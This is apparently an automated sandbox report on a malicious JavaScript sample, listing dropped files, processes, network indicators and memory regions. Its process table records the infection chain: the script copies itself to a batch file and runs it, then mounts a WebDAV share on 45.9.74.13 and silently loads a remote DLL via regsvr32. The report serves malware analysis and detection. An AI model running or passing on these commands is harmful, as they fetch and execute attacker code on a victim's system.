Files
|
File Path
|
Type
|
Category
|
Malicious
|
|
|---|---|---|---|---|
|
911966882735824909.js
|
ASCII text, with very long lines (3738), with CRLF line terminators
|
initial sample
|
 |
|
|
C:\Users\user\qtgsne.bat
|
ASCII text, with very long lines (3738), with CRLF line terminators
|
dropped
|
||
|
C:\Users\user\qtgsne.bat:Zone.Identifier
|
ASCII text, with CRLF line terminators
|
modified
|
Processes
|
Path
|
Cmdline
|
Malicious
|
|
|---|---|---|---|
|
C:\Windows\System32\wscript.exe
|
C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\911966882735824909.js"
|
|
|
|
C:\Windows\System32\cmd.exe
|
"C:\Windows\System32\cmd.exe" /k copy "C:\Users\user\Desktop\911966882735824909.js" "C:\Users\user\\qtgsne.bat" && "C:\Users\user\\qtgsne.bat"
|
|
|
|
C:\Windows\System32\net.exe
|
net use \\45.9.74.13@8888\DavWWWRoot\
|
|
|
|
C:\Windows\System32\conhost.exe
|
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
|
||
|
C:\Windows\System32\regsvr32.exe
|
regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\539.dll
|
URLs
|
Name
|
IP
|
Malicious
|
|
|---|---|---|---|
|
http://45.9.74.13:8888/~
|
unknown
|
||
|
http://45.9.74.13:8888/
|
unknown
|
IPs
|
IP
|
Domain
|
Country
|
Malicious
|
|
|---|---|---|---|---|
|
45.9.74.13
|
unknown
|
Russian Federation
|
|
Registry
|
Path
|
Value
|
Malicious
|
|
|---|---|---|---|
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Script\Settings\Telemetry\wscript.exe
|
JScriptSetScriptStateStarted
|
Memdumps
|
Base Address
|
Regiontype
|
Protect
|
Malicious
|
|
|---|---|---|---|---|
|
23C472DC000
|
heap
|
page read and write
|
||
|
23C470D0000
|
heap
|
page read and write
|
||
|
1410000
|
heap
|
page read and write
|
||
|
2A73BDA7000
|
heap
|
page read and write
|
||
|
2A73C030000
|
heap
|
page read and write
|
||
|
BCDC6FE000
|
stack
|
page read and write
|
||
|
BCDC4FF000
|
stack
|
page read and write
|
||
|
E62CF0A000
|
stack
|
page read and write
|
||
|
23C47120000
|
heap
|
page read and write
|
||
|
2A73BCF0000
|
heap
|
page read and write
|
||
|
2AAF000
|
stack
|
page read and write
|
||
|
23C4719D000
|
heap
|
page read and write
|
||
|
1414000
|
heap
|
page read and write
|
||
|
23C4718A000
|
heap
|
page read and write
|
||
|
23C47184000
|
heap
|
page read and write
|
||
|
2A73BDF5000
|
heap
|
page read and write
|
||
|
BCDC57E000
|
stack
|
page read and write
|
||
|
D6B000
|
stack
|
page read and write
|
||
|
23C47177000
|
heap
|
page read and write
|
||
|
2A73BD20000
|
heap
|
page read and write
|
||
|
2A73BDE1000
|
heap
|
page read and write
|
||
|
23C470B0000
|
heap
|
page read and write
|
||
|
2A73BD50000
|
heap
|
page read and write
|
||
|
2A73BD8E000
|
heap
|
page read and write
|
||
|
BCDC77F000
|
stack
|
page read and write
|
||
|
E62D3FE000
|
stack
|
page read and write
|
||
|
23C48F60000
|
heap
|
page read and write
|
||
|
23C472D5000
|
heap
|
page read and write
|
||
|
DB0000
|
heap
|
page read and write
|
||
|
E62D8FE000
|
stack
|
page read and write
|
||
|
23C47185000
|
heap
|
page read and write
|
||
|
23C472D0000
|
heap
|
page read and write
|
||
|
23C4716E000
|
heap
|
page read and write
|
||
|
23C472DB000
|
heap
|
page read and write
|
||
|
1170000
|
heap
|
page read and write
|
||
|
23C4719D000
|
heap
|
page read and write
|
||
|
2A73BD59000
|
heap
|
page read and write
|
||
|
2A73BF40000
|
remote allocation
|
page read and write
|
||
|
2A73BDEB000
|
heap
|
page read and write
|
||
|
E62DBFB000
|
stack
|
page read and write
|
||
|
23C4719D000
|
heap
|
page read and write
|
||
|
23C48C00000
|
heap
|
page read and write
|
||
|
2A73BD85000
|
heap
|
page read and write
|
||
|
2A73BD85000
|
heap
|
page read and write
|
||
|
23C47188000
|
heap
|
page read and write
|
||
|
2A73BD8B000
|
heap
|
page read and write
|
||
|
DC0000
|
heap
|
page read and write
|
||
|
2A73BD7A000
|
heap
|
page read and write
|
||
|
23C47148000
|
heap
|
page read and write
|
||
|
2A73C034000
|
heap
|
page read and write
|
||
|
2A73BF40000
|
remote allocation
|
page read and write
|
||
|
BCDC67C000
|
stack
|
page read and write
|
||
|
2A73BD00000
|
heap
|
page read and write
|
||
|
23C46FD0000
|
heap
|
page read and write
|
||
|
23C47163000
|
heap
|
page read and write
|
||
|
2A73BDB9000
|
heap
|
page read and write
|
||
|
23C472DA000
|
heap
|
page read and write
|
||
|
E62D9FD000
|
stack
|
page read and write
|
||
|
23C47177000
|
heap
|
page read and write
|
||
|
2A73BDD0000
|
heap
|
page read and write
|
||
|
23C48F50000
|
heap
|
page read and write
|
||
|
23C47161000
|
heap
|
page read and write
|
||
|
1194000
|
heap
|
page read and write
|
||
|
23C48F60000
|
heap
|
page read and write
|
||
|
E62D2FE000
|
stack
|
page read and write
|
||
|
23C48F51000
|
heap
|
page read and write
|
||
|
23C48F5A000
|
heap
|
page read and write
|
||
|
BCDC476000
|
stack
|
page read and write
|
||
|
23C47149000
|
heap
|
page read and write
|
||
|
2A73BF40000
|
remote allocation
|
page read and write
|
||
|
E62D5FF000
|
stack
|
page read and write
|
||
|
1187000
|
heap
|
page read and write
|
||
|
10D0000
|
heap
|
page read and write
|
||
|
2BD0000
|
heap
|
page read and write
|
||
|
E62D6FF000
|
stack
|
page read and write
|
||
|
117C000
|
heap
|
page read and write
|
||
|
23C48F5A000
|
heap
|
page read and write
|
||
|
E62D7FE000
|
stack
|
page read and write
|
||
|
BCDC5FE000
|
stack
|
page read and write
|
||
|
23C472DC000
|
heap
|
page read and write
|
||
|
23C4719D000
|
heap
|
page read and write
|
There are 71 hidden memdumps, click here to show them.